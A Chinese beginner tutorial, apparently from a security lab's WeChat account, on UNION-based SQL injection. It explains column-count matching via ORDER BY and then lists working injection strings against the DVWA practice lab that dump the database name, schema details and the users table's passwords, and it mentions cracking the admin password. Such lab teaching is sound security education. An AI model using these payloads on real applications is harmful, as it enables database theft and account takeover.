本文是Web安全入门系列的第2篇文章
01
1. 首先,学会SQL语法,不会SQL语法无从谈SQL注入
2. 本系列文章基于关系型数据库,非关系型数据库(NoSQL)不在讨论范围之内
3. 不同类型不同版本的数据库SQL语法存在差异,因此重在理解原理,实践中自行调整
4. 光说不练假把式,请多练习;学海无涯贵在坚持,共勉之
02
什么是UNION?
UNION 是SQL的集合运算操作符,作用是合并两个或多个 SELECT 语句的结果集。
什么是UNION注入?
UNION注入是最流行的SQL注入类型之一,攻击者利用UNION后面的语句执行恶意SQL代码,从数据库中获取数据。这种攻击方式应用很广,因为几乎所有关系型数据库都支持UNION。
这是一条正常的MySQL UNION语句:
SELECT first_name,last_name FROM users UNION SELECT first_name,last_name from department
这是一条加了恶意SQL代码的UNION语句,通过执行恶意SQL代码,我们拿到了数据库名称和用户:
SELECT first_name,last_name FROM users UNION select DATABASE(),user()
02
UNION注入必须遵守UNION的语法规则:只能执行SELECT操作,且UNION内部每SELECT语句查询的列数必须相等。也就是说,在确认可以执行UNION注入后,我们首先要弄清楚到底需要拼接几个查询字段。
如果UNION前后SELECT语句查询列数不一致,像这样:
SELECT first_name,last_name FROM users UNION SELECT last_name from department
就会报错
在实际场景中,前端可能只显示了部分字段,如SELECT语句查询了5个字段而前端只显示了其中3个,这就给UNION注入造成了困难,那么,怎么判断查询的字段数呢?
聪明可爱姿势众多的前辈们教我的方法是:ORDER BY。
我们用ORDER BY 1,ORDER BY 2,ORDER BY 3......依次尝试:
03
最后,让我们来一点一点挖出越来越多的信息。
查询数据库名称
回到上一期的DVWA靶场,首先查询当前数据库名称
输入:2' UNION SELECT 1,database() # (注入语句"SELECT 1,database()"中的"1",就是为了凑齐查询列数而添加的)
获取数据库表名
输入:2' UNION SELECT 1,table_name FROM information_schema.tables where table_schema='dvwa
获取表字段名
输入:2' UNIONSELECT 1,column_name FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users
获取表数据
接下来输入:2' UNION select user,password from users #
找到管理员账户admin和admin的密码:
拿到密码后可对密码进行破解,破解成功后我们就拿到了admin的登录账号和密码啦~
本期内容就到这里了,下篇文章我们将介绍另一种注入类型:报错注入,期待下期再见~
(部分图片源自网络,侵删)
原文始发于微信公众号(陆吾安全攻防实验室):SQL注入之UNION注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论